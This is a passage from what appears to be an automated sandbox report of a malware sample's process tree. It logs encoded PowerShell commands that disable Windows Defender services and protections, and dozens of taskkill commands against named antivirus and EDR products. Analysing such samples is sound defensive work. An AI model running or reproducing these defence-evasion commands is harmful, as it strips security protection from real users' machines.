      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AQwBsAG8AdQBkAEIAbABvAGMAawBMAGUAdgBlAGwAIAAwACAALQBGAG8AcgBjAGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    PID:4404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQARgBpAGwAdABlAHIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:3448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQARgBpAGwAdABlAHIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQATgBpAHMAUwB2AGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQATgBpAHMAUwB2AGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:64
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:1940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1716
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Kills process with taskkill
      PID:3260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    PID:1064
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      PID:4196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4232
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      Kills process with taskkill
      PID:816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    PID:4712
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      PID:4376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    PID:4776
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Kills process with taskkill
      PID:3608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    PID:4164
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      PID:1260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:1908
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      PID:4444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:2148
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      PID:4560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    PID:740
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      PID:2224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:4448
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      PID:4004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    PID:1528
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      PID:3956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1760
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Kills process with taskkill
      PID:3396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    PID:4904
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    PID:4312
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      Kills process with taskkill
      PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    PID:4504
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      Kills process with taskkill
      PID:1968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    PID:4060
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      PID:2424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    PID:4444
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Kills process with taskkill
      PID:2376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    PID:2768
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      Kills process with taskkill
      PID:3648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    PID:3084
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      PID:4692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    PID:4368
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      PID:4284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3920
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4196
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      Kills process with taskkill
      PID:5100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3864
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      PID:5064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    PID:1516
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:816
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      PID:3532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    PID:1032
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      Kills process with taskkill
      PID:3928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1336
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      PID:984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    PID:1356
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      Kills process with taskkill
      PID:3760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    PID:3484
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      Kills process with taskkill
      PID:4292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CrowdStrike.exe"
    3⤵
    PID:2864
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CrowdStrike.exe
      4⤵
      Kills process with taskkill
      PID:2996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CSAgent.exe"
    3⤵
    - Executes a command shell one-liner
    PID:884
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3956
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CSAgent.exe
      4⤵
      Kills process with taskkill
      PID:1828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SentinelOne.exe"
    3⤵
    PID:1952
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3396
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SentinelOne.exe
      4⤵
      PID:3576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Cynet.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5032
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Cynet.exe
      4⤵
      Kills process with taskkill
      PID:1340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im DeepInstinct.exe"
    3⤵
    PID:1524
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im DeepInstinct.exe
      4⤵
      PID:2124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Elastic.exe"
    3⤵
    PID:3736
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Elastic.exe
      4⤵
      PID:1288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Gridinsoft.exe"
    3⤵
    PID:1856
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Gridinsoft.exe
      4⤵
      PID:3056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecureAge.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5008
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecureAge.exe
      4⤵
      Kills process with taskkill
      PID:1632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Avira.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4888
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Avira.exe
      4⤵
      PID:2952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Zillya.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3988
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2996
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Zillya.exe
      4⤵
      Kills process with taskkill
      PID:4780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:3112
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      PID:3536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:3576
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      PID:5012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    PID:1340
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      Kills process with taskkill
      PID:4588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
    3⤵
    PID:3888
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMWsc.exe
      4⤵
      PID:1260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAM.exe"
    3⤵
    PID:3928
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAM.exe
      4⤵
      Kills process with taskkill
      PID:960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im mbam.exe"
    3⤵
    PID:4248
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im mbam.exe
      4⤵
      PID:4276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMChameleon.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1448
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMChameleon.exe
      4⤵
      Kills process with taskkill
      PID:5016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgApAAoAZgBvAHIAZQBhAGMAaAAgACgAJABwACAAaQBuACAAJABwAHIAbwBjAGUAcwBzAGUAcwApACAAewAgAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAkAHAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAAoAfQA="
    3⤵
    PID:4664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgApAAoAZgBvAHIAZQBhAGMAaAAgACgAJABwACAAaQBuACAAJABwAHIAbwBjAGUAcwBzAGUAcwApACAAewAgAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAkAHAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    PID:2444
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      PID:4068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:3280
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      PID:2124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4588
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      PID:1288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MpCmdRun.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1260
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MpCmdRun.exe
      4⤵
      PID:2664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MSASCui.exe"
    3⤵
    PID:4820
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MSASCui.exe
      4⤵
      Kills process with taskkill
      PID:3000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MSASvc.exe"
    3⤵
    PID:4276
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MSASvc.exe
      4⤵
      PID:2452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:3224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      PID:3976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:1236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      PID:1208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA"
    3⤵
    PID:1240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
      4⤵
      PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:3088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      PID:5016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:2420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:1732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA==
      4⤵
      PID:3956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:4680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA=
      4⤵
      PID:1712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AQwBsAG8AdQBkAEIAbABvAGMAawBMAGUAdgBlAGwAIAAwACAALQBGAG8AcgBjAGUA"
    3⤵
    PID:3760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AQwBsAG8AdQBkAEIAbABvAGMAawBMAGUAdgBlAGwAIAAwACAALQBGAG8AcgBjAGUA
      4⤵
      PID:8
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    PID:1696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      PID:3608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQARgBpAGwAdABlAHIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:1200
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQARgBpAGwAdABlAHIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      PID:1164
- - C:\Windows\system32\cmd.exe
